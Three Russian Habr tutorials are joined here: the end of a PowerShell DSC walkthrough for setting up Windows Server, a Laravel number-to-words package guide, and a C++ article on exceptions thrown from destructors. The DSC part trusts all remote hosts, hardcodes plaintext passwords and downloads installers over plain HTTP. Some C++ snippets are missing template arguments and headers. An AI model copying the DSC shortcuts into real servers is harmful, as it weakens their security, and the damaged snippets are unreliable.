PSCompatibleVersions {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion 2.2
```
Но и этого еще недостаточно. На компьютере администратора необходимо включить Powershell Remoting (на сервере, после установки двух обновлений, PSRemoting уже включен). Это выполняется в консоли Powershell с повышенными привилегиями:
```
Enable-PSRemoting -Force
```
Кроме того, нужно разрешить (!) с компьютера администратора подключаться к другим компьютерам.
```
Set-Item WSMan:\localhost\Client\TrustedHosts -Value *
```
Для удобства, я также добавил в файл `hosts` строку c ip-адресом созданного сервера.
```
cs1.example.com
```
Исходный код примера доступен на Github: <https://github.com/nelsh/DSC-WS2012R2>.
### Первая конфигурация
Это скриншот первой версии файла DSC-W2012R2.ps1 (в репозитории, для удобства, он лежит под именем DSC-W2012R2-First.ps1).
* 1-21 строки — собственно сама конфигурация, названная DSCW2012R2.
* + В ней на 3-7 строке мы сообщаем, что будет всего один параметр — массив имен серверов.
+ На 8 строке мы подключаем необходимый модуль PowerShell
+ 10-20 строки — список используемых ресурсов в конфигурации. В нашем случае — только один ресурс “Script”, о нем чуть ниже.
* 23-25 строки — так как одним из шагов будет добавление пользователя, то нам потребуется создать для него пароль. Чтобы не разбираться с шифрованием — разрешим хранить пароли в конфигурации в открытом виде.
* 27 строка — создание конфигурации. В результате выполнения этого скрипта у нас появится файл DSCW2012R2\cs1.example.com.mof — что-то типа скомпилированной конфигурации.
* 29-31 строки — запускает применение конфигурации к серверу с именем cs1.example.com. Предварительно появиться стандартное окошко для запроса имени и пароля для доступа к серверу.
* Начиная с 33 строки — пример для одновременной настройки пары серверов.
Возвращаемся к ресурсам — Powershell DSC имеет 12 встроенных ресурсов. Большинство (а точнее 11 из 12) из них просты и понятны. Но для полноценной настройки системы их явно недостаточно. Microsoft предлагает самостоятельно создавать необходимые ресурсы. Но, честно признаюсь, даже сейчас у меня нет особого желания разбираться с этим.
Однако, при первом знакомстве я не обратил внимание на ресурс **Script**. Раcсмотрим пример подробнее:
```
Script First {
TestScript = { if ( "Test script content" ) { $true } else { $false } }
SetScript = { "Set script content" }
GetScript = { return @{ Result = "Result for GetScript"
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
```
Это самый простой вариант, который ничего не делает. Как он работает:
* Для применения конфигурации мы вызываем команду Start-DSCConfiguration (строка 29).
* Когда в процессе обработки списка ресурсов скрипт доходит до ресурса “Script First”, то вначале вызывает код из переменной TestScript. В нашем примере он всегда возвращет $true.
* А вот если бы он вернул $false, тогда вызвался бы код из переменной SetScript.
В этих переменных может быть любой код на Powershell — масштабы зависят только от наших фантазий. В идеальном варианте, код в TestScipt должен проверять правильность всех настроек, которые выполняются в коде SetScript.
Попробуем запустить нашу первую конфигурацию (по старой привычке я запускаю из Far Manager):
```
powershell.exe -ExecutionPolicy RemoteSigned .\DSC-WS2012R2.ps1
```
Завершено без ошибок.
Чтобы не объяснять как запустить проверку с компьютера администратора, я зашел на наш сервер и выполнил пару команд.
Первая: `Test-DSCConfiguration` — проверяет конфигурацию. Обратите внимание на последнее сообщение (после желтого текста) — True. Т.е. конфигурация проверена и ошибок не обнаружено.
Следующая команда: `Get-DSCConfiguration` — сообщает подробности о текущей конфигурации. Достаточно сверить код нашего ресурса “Script First” с этим скриншотом, чтобы понять что и откуда берется.
В этот самый момент я понял, что, пожалуй, все получится.
Итак. Переходим к…
### Продвинутая конфигурация
Начинаем добавлять реальные задачи в конфигурацию узлов.
Первое, в чем я хотел бы быть уверен — имя компьютера и основной dns-суффикс. Если в нашей DNS-зоне этот компьютер будет называться cs1.example.com, то имя — cs1, а dns-суффикс — example.com
Начнем с имени. Вначале я написал такой код:
```
$shortName = $Server.Split(".")[0].ToLower()
Script ComputerName {
SetScript = { Rename-Computer -NewName $shortName }
GetScript = { return @{ Result = $env:computerName
GetScript = $GetScript.Trim(); SetScript = $SetScript.Trim(); TestScript = $TestScript.Trim() } }
TestScript = { $env:computerName.ToLower() -eq $shortName }
}
```
Но он не работает. SetScript, GetScript и TestScript ничего не знают о переменных вне своей зоны видимости. Передать можно только используя форматирование строк. Вот так:
```
$shortName = $Server.Split(".")[0].ToLower()
Script ComputerName {
SetScript = ({
Rename-Computer -NewName "{0}"
} -f @($shortName))
GetScript = { return @{ Result = $env:computerName
GetScript = $GetScript.Trim(); SetScript = $SetScript.Trim(); TestScript = $TestScript.Trim()
}
}
TestScript = ({
$env:computerName.ToLower() -eq "{0}"
} -f @($shortName))
}
```
С проверкой dns-суффикса все оказалось проще — это параметр в реестре, поэтому используем стандартный ресурс Registry:
```
Registry PrimaryDomainSuffix {
Key = "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\"
ValueName = "NV Domain"
Ensure = "Present"
ValueData = "example.com"
ValueType = "String"
}
```
Чтобы во время экспериментов обновления не ставились автоматически — настроим Windows Update. Только получать уведомления о доступных обновлениях:
```
Script WindowsUpdateSettings {
SetScript = {
$WUSettings = (New-Object -com "Microsoft.Update.AutoUpdate").Settings
$WUSettings.NotificationLevel=2
$WUSettings.IncludeRecommendedUpdates=$true
$WUSettings.Save()
}
GetScript = { return @{ Result = ''
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = {
$WUSettings = (New-Object -com "Microsoft.Update.AutoUpdate").Settings; $WUSettings.NotificationLevel -eq 2 -and $WUSettings.IncludeRecommendedUpdates -eq $true
}
}
```
#### Получаем пару важных обновления и все-таки настраиваем часовой пояс
Следующий важный параметр — временная зона. И зачем только я предположил, что московское время подходит не всем? Видимо, для этого:
Итак, первая проблема: похоже, встроенных средств установки отдельного обновление через Windows Update не существует. К счастью, есть небольшая утилита для решения этой задачи.
Создаем каталог для утилиты:
```
$abcUpdatePath = "C:\UTILS\ABC-Update"
$abcUpdateZip = Join-Path $abcUpdatePath "ABC-Update.zip"
File AbcUpdateDir {
Ensure = "present"
DestinationPath = $abcUpdatePath
Type = "Directory"
}
```
Скачиваем:
```
Script AbcUpdateDownload {
DependsOn = "[File]AbcUpdateDir"
SetScript = ({
Invoke-WebRequest -Uri http://abc-deploy.com/Files/ABC-Update.zip -OutFile {0}
} -f @($abcUpdateZip))
GetScript = {
return @{ Result = $TestScript
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = ({
Test-Path {0}
} -f @($abcUpdateZip))
}
```
Распаковываем, используя встроенный ресурс Archive:
```
Archive AbcUpdateUnpack {
Ensure = "Present"
DependsOn = "[Script]AbcUpdateDownload"
Path = $abcUpdateZip
Destination = $abcUpdatePath
}
```
Запускаем, и, кроме обновления часовых поясов, сразу же обновим .NET Framework до версии 4.5.2:
```
Script AbcUpdateNet452Install {
DependsOn = "[Archive]AbcUpdateUnpack"
SetScript = { C:\UTILS\ABC-Update\ABC-Update.exe /a:install /k:2934520 }
GetScript = { return @{ Result = if ( Get-HotFix -Id KB2934520 -ErrorAction SilentlyContinue ) { "KB2934520: Installed" } else { "KB2934520: Not Found" }
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = { if ( Get-HotFix -Id KB2934520 -ErrorAction SilentlyContinue ) { $true } else { $false } }
}
Script AbcUpdateTimeZoneInstall {
DependsOn = "[Archive]AbcUpdateUnpack"
SetScript = { C:\UTILS\ABC-Update\ABC-Update.exe /a:install /k:3013410 }
GetScript = { return @{ Result = if ( Get-HotFix -Id KB3013410 -ErrorAction SilentlyContinue ) { "KB3013410: Installed" } else { "KB3013410: Not Found" }
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = { if ( Get-HotFix -Id KB3013410 -ErrorAction SilentlyContinue ) { $true } else { $false } }
}
```
Наконец-то мы добрались до часовых поясов. Методом научного тыка я выбрал часовой пояс около озера Байкал.
Я нашел такой вариант: изменить часовой пояс можно только с помощью утилиты командной строки tzutil.exe, а проверить только с помощью Powershell. Но этот случай особенный — при установке используется одно значение «North Asia East Standard Time», а проверяется совершенно другое «Russia TZ 7 Standard Time»:
```
Script TimeZoneSettings {
SetScript = { tzutil.exe /s "North Asia East Standard Time" }
GetScript = { return @{ Result = [System.TimeZone]::CurrentTimeZone.StandardName
GetScript = $GetScript.Trim(); SetScript = $SetScript.Trim(); TestScript = $TestScript.Trim()
}
}
TestScript = { [System.TimeZone]::CurrentTimeZone.StandardName -eq "Russia TZ 7 Standard Time" }
}
```
Похоже, такая беда со всеми часовыми поясами России.
#### Компоненты Windows
С ними все очень просто и очень большое количество примеров в интернете. Вполне может сложиться впечатление, что администраторы Windows занимаются только установкой и удалением компонентов. Только два первых ресурса WindowsFeature из конфигурации:
```
WindowsFeature offFSSMB1 {
Ensure = "Absent"
Name = "FS-SMB1"
}
WindowsFeature WebAspNet45 {
Ensure = "Present"
Name = "Web-Asp-Net45"
IncludeAllSubFeature = $True
}
```
В первом случае компонент удаляется, во втором ставится вместе со всеми зависимостями.
#### Установка пакетов
На примере Far Manager. Во-первых, пакет нужно скачать уже известным нам способом:
```
Script FarDownLoad {
SetScript = { Invoke-WebRequest -Uri http://www.farmanager.com/files/Far30b4400.x64.20150709.msi -OutFile C:\Users\Public\Downloads\Far30b4400.x64.20150709.msi }
GetScript = { return @{ Result = Test-Path C:\Users\Public\Downloads\Far30b4400.x64.20150709.msi
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = { Test-Path C:\Users\Public\Downloads\Far30b4400.x64.20150709.msi }
}
```
В параметрах ресурса Package есть «ProductId». И вроде есть даже программа, которая анализирует msi-файл и сообщает этот самый «ProductId». Я пошел напролом: сразу же попробовал применить конфигурацию без этого параметра и тексте ошибки обнаружил «ProductId», а также правильный «Name». Описание ресурса получилось следующее:
```
Package FarInstall {
Ensure = "Present"
DependsOn = "[Script]FarDownLoad"
Name = "Far Manager 3 x64"
ProductId = 'E5512F32-B7C1-48E3-B6AF-E5F962F99ED6'
Path = "C:\Users\Public\Downloads\Far30b4400.x64.20150709.msi"
Arguments = ''
LogPath = "C:\Users\Public\Downloads\FarInstall.log"
}
```
#### Пользователи и права
По постановке задачи, сервер находится под управлением заказчика, но тем не менее я допустил, что будет существовать возможность обновления web-приложения с помощью нашего сервера непрерывной интеграции. Мы используем Jenkins CI (кстати, все задачи в нем тоже реализованы на Powershell).
В минимальном варианте нам нужен пользователь Jenkins в группе Users и с правом записи в каталог, где размещается web-приложение. Пусть это будет `c:\web`.
Пользователь создается таким образом:
```
$JenkinsCredential = New-Object System.Management.Automation.PSCredential(`
"Jenkins", ("Pa`$`$w0rd" | ConvertTo-SecureString -asPlainText -Force)`
)
User JenkinsUser {
UserName = "Jenkins"
Ensure = "Present"
Password = $JenkinsCredential
PasswordChangeNotAllowed = $true
PasswordNeverExpires = $true
}
```
Есть способ использовать в конфигурации зашифрованные пароли, но мы пойдем простым путем. В данном случае будет создан пользователь «Jenkins» с паролем «Pa$$w0rd».
Создание каталога делается уже привычным образом. А вот с назначением прав на каталоги и проверкой пришлось повозится:
```
$AccessStringTmpl = "NT AUTHORITY\SYSTEM Allow FullControl`nBUILTIN\Administrators Allow FullControl`nBUILTIN\Users Allow ReadAndExecute, Synchronize`nCS1\Jenkins Allow Modify, Synchronize"
File DirDweb {
Ensure = "present"
DestinationPath = "c:\web"
Type = "Directory"
}
Script AclsDweb
{
DependsOn = "[File]DirDweb"
SetScript = {
icacls c:\web /reset /t /q
takeown.exe /f c:\web /r /a /d y
icacls.exe c:\web /inheritance:r
icacls.exe c:\web /grant:r "Administrators:(OI)(CI)(F)" "System:(OI)(CI)(F)" "Users:(OI)(CI)(RX)" "Jenkins:(OI)(CI)(M)" /t /q
}
GetScript = { return @{ Result = (get-acl c:\web).AccessToString
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = ({ (get-acl c:\web).AccessToString -eq "{0}"
} -f @($AccessStringTmpl))
}
```
Проще все назначить права с помощью `icacls.exe`. В данном случае выполняется по порядку:
1. в первой строке: сброс всех прав и включение наследования от родительского каталога
2. во второй: владельцем назначается встроенная группа Administrators
3. в третьей: отменяется наследование и удаляются все права
4. в четвертой: назначение полных прав для Administrators и SYSTEM, чтение для пользователей и изменение для Jenkins.
Для проверки используется метод `(get-acl c:\web).AccessToString` — полученная строка должна совпадать с переменной `$AccessStringTmpl`. Кстати, в примере ошибка — в строке явным образом указано имя сервера “CS1” — а должно подставляться значение `$Server.Split(".")[0].ToUpper()`.
#### MS SQL
Я несколько пожалел, что решил не использовать сторонних модулей. Так как уже есть модуль для установки и настройки MS SQL Server. Но у меня есть конфигурационный файл для автоматической установки и я решил попробовать.
Во-первых, нам потребуется еще один компонент Windows — ресурс “WindowsFeature NetFrameworkCore”:
```
WindowsFeature NetFrameworkCore {
Ensure = "Present"
Name = "Net-Framework-Core"
IncludeAllSubFeature = $True
}
```
Во-вторых, конфигурационный файл для установщика — ресурс “Script MSSQLConfigDownLoad”:
```
Script MSSQLConfigDownLoad {
SetScript = { Invoke-WebRequest -Uri https://raw.githubusercontent.com/nelsh/DSC-WS2012R2/master/SQL2014-Setup.ini -OutFile C:\Users\Public\Downloads\SQL2014-Setup.ini }
GetScript = { return @{ Result = Test-Path C:\Users\Public\Downloads\SQL2014-Setup.ini
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = { Test-Path C:\Users\Public\Downloads\SQL2014-Setup.ini }
}
```
В-третьих, вы не забыли подключить образ с дистрибутивом какой-нибудь редакции MS SQL Server 2014?
```
Script MSSQL {
SetScript = { r:\setup.exe /configurationfile=C:\Users\Public\Downloads\SQL2014-Setup.ini /SAPWD=1q@w3e }
GetScript = { return @{ Result = if ( Get-Service -Name "MSSQLSERVER" -ErrorAction SilentlyContinue ) { "Servise MSSQLSERVER is exist" } else { "Servise MSSQLSERVER not found" }
GetScript = $GetScript; SetScript = $SetScript; TestScript = $TestScript
}
}
TestScript = { if ( Get-Service -Name "MSSQLSERVER" -ErrorAction SilentlyContinue ) { $true } else { $false } }
}
```
Я воспользовался диском с Express Edition, который подключен как R:. В процессе будут установлены Database Engine плюс FullSearch, а также средства администрирования. Проверка в TestScript самая простая — есть сервис MSSQLSERVER или нет.
*… И когда по списку процессов на сервере я понял, что установка запустилась — стало понятно, что эксперимент можно считать завершенным.*
Дальнейшая настройка может зависеть от ситуации: если требуется срочно-срочно показать рабочее приложение, то дальше каким-то образом получаем и устанавливаем наше приложение.
Если же у нас плановая установка (без авралов), то предварительно можно настроить брандмауэр и установить служебные программы (мониторинг, резервное копирование) — у всех могут быть свои варианты. Из того, что используется у нас, наибольшую трудность может вызвать только AWStats: код в TestScript будет напоминать небольшую программу, но это тоже решаемо.
Поэтому, на этом пункте решил остановится. По-моему, получился удачный пример, который любой может адаптировать к своей ситуации.
### Предварительные итоги
На мой взгляд, DSC можно брать на вооружение, не дожидаясь следующей версии Windows Server.
В доменной инфраструктуре полностью заменить групповые политики эта технология не сможет, но у нее есть определенные плюсы:
* Может использоваться как в ручном режиме, так и в автоматическом с сервером конфигураций.
* Может использоваться независимо от наличия Active Directory, а может и вместе с групповыми политиками.
* Каталог с конфигурациями можно положить в систему контроля версий.
* С выходом Powershell 5.0 мы получаем удобный способ использования дополнительных модулей — см. powershellgallery.com. Там уже есть несколько десятков модулей, созданных сообществом. Возможно, среди них уже есть такие, которыми можно заменить скрипты из моего примера.
Прошу учесть, что в примере из этой статьи возможны ошибки, а также, вероятно, есть более эффективные решения.
**Последнее важное примечание**: насколько я понял, вопрос с необходимой перезагрузкой в процессе настройки даже в новых версиях не имеет решения. Поэтому описанная выше конфигурация применяется за два прохода — причем и на 2012R2 и на 2016 — прерывается на установке компонентов и просит перезагрузку. После чего необходимо снова запустить применение конфигурации.
#### Полезные ссылки
* Все примеры из этой статьи находятся в проекте на Github-е
<https://github.com/nelsh/DSC-WS2012R2>
* Windows PowerShell Desired State Configuration Overview
<https://technet.microsoft.com/ru-ru/library/dn249912.aspx>
* Ближайшее будущее Powershell 5.0 и DSC
<https://www.powershellgallery.com/>
<http://blogs.msdn.com/b/powershell/archive/2015/09/15/updated-dsc-resource-kit-available-in-powershell-gallery.aspx> | https://habr.com/ru/post/267829/ | null | ru | null |
# Число прописью в Laravel 5
Иногда необходимо вывести число прописью при формировании какой-либо формы и нам приходит на помощь модуль [DigitText](https://github.com/andrey-helldar/DigitText), разработанный специально для фреймворка Laravel.
Он позволяет обрабатывать любое число на любом языке
Установка
---------
Установить модуль очень просто:
1. Последовательно выполните команды:
```
composer require andrey-helldar/digittext
composer update
```
2. После обновления композера, добавьте сервис провадер в файл `config/app.php`:
```
Helldar\DigitText\DigitServiceProvider::class,
```
3. Далее, в том же файле, в раздел `aliases` добавьте фасад:
```
'DigitText' => Helldar\DigitText\DigitText::class,
```
Готово!
Использование
-------------
Для перевода числа в текст используйте конструкцию:
```
DigitText::text($number = 0, $lang = 'ru', $currency = false);
```
Пример:
```
DigitText::text();
DigitText::text(64.42);
DigitText::text(2866);
DigitText::text(0, 'ru', true);
DigitText::text(64.42, 'ru', true);
DigitText::text(2866, 'ru', true);
/*
* Результат:
* ноль
* шестьдесят четыре
* две тысячи восемьсот шестьдесят шесть
*
* ноль руб
* шестьдесят четыре руб 42 коп
* две тысячи восемьсот шестьдесят шесть руб
*/
```
Языковые формы
--------------
На момент написания статьи модуль поддерживает работу с такими языковыми формами, как: «русский», «английский» и «немецкий».
Любой желающий может помочь развитию модуля [DigitText](https://github.com/andrey-helldar/DigitText).
Модуль предоставлен по лицензии MIT.
### От автора
Это мой первый модуль под Laravel. Знаю, что код далек от идеала и прошу сильно не пинать :)
### К минусующим
Если Вы не разделяете взгляд автора, будьте добры конструктивно описать свою точку зрения в комментариях. | https://habr.com/ru/post/279293/ | null | ru | null |
# Разрушительные исключения
Ещё раз о том, почему плохо бросать исключения в деструкторах
-------------------------------------------------------------
Многие знатоки C++ (например, [Герб Саттер](https://www.ozon.ru/context/detail/id/1273200/)) учат нас, что бросать исключения в деструкторах плохо, потому что в деструктор можно попасть во время раскрутки стека при уже выброшенном исключении, и если в этот момент будет выброшено ещё одно исключение, в результате будет вызван *std::terminate()*. Стандарт языка C++17 (здесь и далее я ссылаюсь на свободно доступную версию драфта [N4713](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2017/n4713.pdf)) на эту тему сообщает нам следующее:
> **18.5.1 The std::terminate() function [except.terminate]**
>
>
>
> 1 In some situations exception handling must be abandoned for less subtle error handling techniques. [ Note:
>
>
>
> These situations are:
>
>
>
> …
>
>
>
> (1.4) when the destruction of an object during stack unwinding (18.2) terminates by throwing an exception, or
>
>
>
> …
>
>
>
> — end note ]
Проверим на простом примере:
```
#include
class PrintInDestructor {
public:
~PrintInDestructor() noexcept {
std::cerr << "~PrintInDestructor() invoked\n";
}
};
void throw\_int\_func() {
std::cerr << "throw\_int\_func() invoked\n";
throw 1;
}
class ThrowInDestructor {
public:
~ThrowInDestructor() noexcept(false) {
std::cerr << "~ThrowInDestructor() invoked\n";
throw\_int\_func();
}
private:
PrintInDestructor member\_;
};
int main(int, char\*\*) {
try {
ThrowInDestructor bad;
throw "BANG!";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char\* c) {
std::cerr << "Catched const char\* exception: " << c << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
return 0;
}
```
Результат:
```
~ThrowInDestructor() invoked
throw_int_func() invoked
~PrintInDestructor() invoked
terminate called after throwing an instance of 'int'
Aborted
```
Обратите внимание, что деструктор *PrintInDestructor* всё же вызывается, т.е. после выбрасывания второго исключения раскрутка стека не прерывается. В Стандарте (тот же самый пункт 18.5.1) на эту тему сказано следующее:
> 2… In the situation where no matching handler is found,
>
> it is implementation-defined whether or not the stack is unwound before std::terminate() is called. In
>
> the situation where the search for a handler (18.3) encounters the outermost block of a function with a
>
> non-throwing exception specification (18.4), it is implementation-defined whether the stack is unwound,
>
> unwound partially, or not unwound at all before std::terminate() is called ...
Я проверял этот пример на нескольких версиях **GCC** (8.2, 7.3) и **Clang** (6.0, 5.0), везде раскрутка стека продолжается. Если вы встретите компилятор, где implementation-defined по-другому, пожалуйста, напишите об этом в комментариях.
Следует заметить также, что *std::terminate()* при раскрутке стека вызывается только тогда, когда исключение выбрасывается наружу из деструктора. Если внутри деструктора находится try/catch блок, который ловит исключение и не пробрасывается дальше, это не приводит к прерыванию раскрутки стека внешнего исключения.
```
class ThrowCatchInDestructor {
public:
~ThrowCatchInDestructor() noexcept(false) {
try {
throw_int_func();
} catch (int i) {
std::cerr << "Catched int in ~ThrowCatchInDestructor(): " << i << "\n";
}
}
private:
PrintInDestructor member_;
};
int main(int, char**) {
try {
ThrowCatchInDestructor good;
std::cerr << "ThrowCatchInDestructor instance created\n";
throw "BANG!";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char* s) {
std::cerr << "Catched const char* exception: " << s << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
return 0;
}
```
выводит
```
ThrowCatchInDestructor instance created
throw_int_func() invoked
Catched int in ~ThrowCatchInDestructor(): 1
~PrintInDestructor() invoked
Catched const char* exception: BANG!
```
Как же избегать неприятных ситуаций? В теории всё просто: никогда не бросать исключения в деструкторе. Однако, на практике красиво и изящно реализовать это простое требование бывает не так просто.
Если нельзя, но очень хочется...
--------------------------------
> Сразу отмечу, что я не пытаюсь оправдать выбрасывание исключений из деструктора, и вслед за Саттером, Мейерсом и другими гуру C++ призываю вас **постараться** никогда этого не делать (по крайней мере, в новом коде). Тем не менее, программист в реальной практике вполне может столкнуться с legacy-кодом, который не так просто привести к высоким стандартам. Кроме того, зачастую описанные ниже методики могут пригодиться в процессе отладки.
Например, мы разрабатываем библиотеку с классом-обёрткой, инкапсулирующей работу с неким ресурсом. В соответствии с принципами RAII мы захватываем ресурс в конструкторе и должны освободить его в деструкторе. Но что если попытка освободить ресурс заканчивается ошибкой? Варианты решения этой проблемы:
* Проигнорировать ошибку. Плохо, потому что мы скрываем проблему, которая может повлиять на другие части системы.
* Написать в лог. Лучше, чем просто проигнорировать, но всё равно плохо, т.к. наша библиотека ничего не знает о политиках логирования, принятых в системе, которая её использует. Стандартный лог может быть перенаправлен в /dev/null, в результате чего, опять же, ошибку мы не увидим.
* Вынести освобождение ресурса в отдельную функцию, которая возвращает значение или бросает исключение, и заставлять пользователя класса вызывать её самостоятельно. Плохо, потому что пользователь вообще может забыть это сделать, и мы получим утечку ресурса.
* Выбросить исключение. Хорошо в обычных случаях, т.к. пользователь класса может поймать исключение и стандартным образом получить информацию о возникшей ошибке. Плохо во время раскрутки стека, т.к. приводит к *std::terminate()*.
Как же понять, находимся ли мы в данный момент в процессе раскрутке стека по исключению или нет? В C++ для этого есть специальная функция *std::uncaught\_exception()*. С её помощью мы можем безопасно кидать исключение в обычной ситуации, либо делать что-либо менее правильное, но не приводящее к выбросу исключения во время раскрутки стека.
```
class ThrowInDestructor {
public:
~ThrowInDestructor() noexcept(false) {
if (std::uncaught_exception()) {
std::cerr << "~ThrowInDestructor() stack unwinding, not throwing\n";
} else {
std::cerr << "~ThrowInDestructor() normal case, throwing\n";
throw_int_func();
}
}
private:
PrintInDestructor member_;
};
int main(int, char**) {
try {
ThrowInDestructor normal;
std::cerr << "ThrowInDestructor normal destruction\n";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
}
try {
ThrowInDestructor stack_unwind;
std::cerr << "ThrowInDestructor stack unwinding\n";
throw "BANG!";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char* s) {
std::cerr << "Catched const char* exception: " << s << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
return 0;
}
```
Результат:
```
ThrowInDestructor normal destruction
~ThrowInDestructor() normal case, throwing
throw_int_func() invoked
~PrintInDestructor() invoked
Catched int exception: 1
ThrowInDestructor stack unwinding
~ThrowInDestructor() stack unwinding, not throwing
~PrintInDestructor() invoked
Catched const char* exception: BANG!
```
Обратите внимание, что функция *std::uncaught\_exception()* является *deprecated* начиная со Стандарта C++17, поэтому чтобы скомпилировать пример, соответствующий ворнинг приходится подавлять (с.м. [репозитарий с примерами из статьи](https://github.com/igor-semenov/code_samples/tree/master/destructive_exceptions)).
Проблема с этой функцией в том, что она проверяет находимся ли мы в процессе раскрутки стека по исключению. Но вот понять, вызван ли текущий деструктор в процессе раскрутки стека, с помощью этой функции невозможно. В результате, если происходит раскрутка стека, но деструктор какого-то объекта вызывается нормальным образом, *std::uncaught\_exception()* всё равно вернёт *true*.
```
class MayThrowInDestructor {
public:
~MayThrowInDestructor() noexcept(false) {
if (std::uncaught_exception()) {
std::cerr << "~MayThrowInDestructor() stack unwinding, not throwing\n";
} else {
std::cerr << "~MayThrowInDestructor() normal case, throwing\n";
throw_int_func();
}
}
};
class ThrowCatchInDestructor {
public:
~ThrowCatchInDestructor() noexcept(false) {
try {
MayThrowInDestructor may_throw;
} catch (int i) {
std::cerr << "Catched int in ~ThrowCatchInDestructor(): " << i << "\n";
}
}
private:
PrintInDestructor member_;
};
int main(int, char**) {
try {
ThrowCatchInDestructor stack_unwind;
std::cerr << "ThrowInDestructor stack unwinding\n";
throw "BANG!";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char* s) {
std::cerr << "Catched const char* exception: " << s << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
return 0;
}
```
Результат:
```
ThrowInDestructor stack unwinding
~MayThrowInDestructor() stack unwinding, not throwing
~PrintInDestructor() invoked
Catched const char* exception: BANG!
```
В новом Стандарте C++17 на замену *std::uncaught\_exception()* была представлена функция *std::uncaught\_exceptions()* (обратите внимание на множественное число), которая вместо булевого значения возвращает количество активных в данный момент исключений (вот подробное [обоснование](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4152.pdf)).
Вот как описанная выше проблема решается при помощи *std::uncaught\_exceptions()*:
```
class MayThrowInDestructor {
public:
MayThrowInDestructor() : exceptions_(std::uncaught_exceptions()) {}
~MayThrowInDestructor() noexcept(false) {
if (std::uncaught_exceptions() > exceptions_) {
std::cerr << "~MayThrowInDestructor() stack unwinding, not throwing\n";
} else {
std::cerr << "~MayThrowInDestructor() normal case, throwing\n";
throw_int_func();
}
}
private:
int exceptions_;
};
class ThrowCatchInDestructor {
public:
~ThrowCatchInDestructor() noexcept(false) {
try {
MayThrowInDestructor may_throw;
} catch (int i) {
std::cerr << "Catched int in ~ThrowCatchInDestructor(): " << i << "\n";
}
}
private:
PrintInDestructor member_;
};
int main(int, char**) {
try {
ThrowCatchInDestructor stack_unwind;
std::cerr << "ThrowInDestructor stack unwinding\n";
throw "BANG!";
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char* s) {
std::cerr << "Catched const char* exception: " << s << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
return 0;
}
```
Результат:
```
ThrowInDestructor stack unwinding
~MayThrowInDestructor() normal case, throwing
throw_int_func() invoked
Catched int in ~ThrowCatchInDestructor(): 1
~PrintInDestructor() invoked
Catched const char* exception: BANG!
```
Когда очень-очень хочется выбросить сразу несколько исключений
--------------------------------------------------------------
*std::uncaught\_exceptions()* позволяет избежать вызова *std::terminate()*, но не помогает корректно обрабатывать множественные исключения. В идеале хотелось бы иметь механизм, который позволял бы сохранять все выброшенные исключения, а затем обработать их в одном месте.
> Хочу ещё раз напомнить, что предложенный мной ниже механизм служит только для демонстрации концепции и не рекомендован к использованию в реальном промышленном коде.
Суть идеи состоит в том, чтобы ловить исключения и сохранять их в контейнер, а затем по одному доставать и обрабатывать. Для того, чтобы сохранять объекты исключений, в языке C++ есть специальный тип *std::exception\_ptr*. Структура типа в Стандарте не раскрывается, но говорится, что это по сути своей *shared\_ptr* на объект исключения.
Как же потом обработать эти исключения? Для этого есть функция *std::rethrow\_exception()*, которая принимает указатель *std::exception\_ptr* и выбрасывает соответствующее исключение. Нам нужно только поймать его соответствующей catch-секцией и обработать, после чего можно переходить к следующему объекту исключения.
```
using exceptions_queue = std::stack;
// Get exceptions queue for current thread
exceptions\_queue& get\_queue() {
thread\_local exceptions\_queue queue\_;
return queue\_;
}
// Invoke functor and save exception in queue
void safe\_invoke(std::function f) noexcept {
try {
f();
} catch (...) {
get\_queue().push(std::current\_exception());
}
}
class ThrowInDestructor {
public:
~ThrowInDestructor() noexcept {
std::cerr << "~ThrowInDestructor() invoked\n";
safe\_invoke([]() {
throw\_int\_func();
});
}
private:
PrintInDestructor member\_;
};
int main(int, char\*\*) {
safe\_invoke([]() {
ThrowInDestructor bad;
throw "BANG!";
});
auto& q = get\_queue();
while (!q.empty()) {
try {
std::exception\_ptr ex = q.top();
q.pop();
if (ex != nullptr) {
std::rethrow\_exception(ex);
}
} catch (int i) {
std::cerr << "Catched int exception: " << i << "\n";
} catch (const char\* s) {
std::cerr << "Catched const char\* exception: " << s << "\n";
} catch (...) {
std::cerr << "Catched unknown exception\n";
}
}
return 0;
}
```
Результат:
```
~ThrowInDestructor() invoked
throw_int_func() invoked
~PrintInDestructor() invoked
Catched const char* exception: BANG!
Catched int exception: 1
```
В примере выше для сохранения объектов исключений используется стек, однако обработка исключений будет производиться по принципу FIFO (т.е. логически это очередь — выброшенное первым исключение будет первым же и обработано).
Выводы
------
Выбрасывание исключений в деструкторах объектов действительно является плохой идеей, и в любом новом коде я настоятельно рекомендую этого не делать, объявляя деструкторы *noexcept*. Однако, при поддержке и отладке legacy-кода может возникнуть потребность корректно обрабатывать исключения, выбрасываемые из деструкторов, в том числе и при раскрутке стека, и современный C++ предоставляет нам механизмы для этого. Надеюсь, представленные в статье идеи помогут вам на этом нелёгком пути.
Ссылки
------
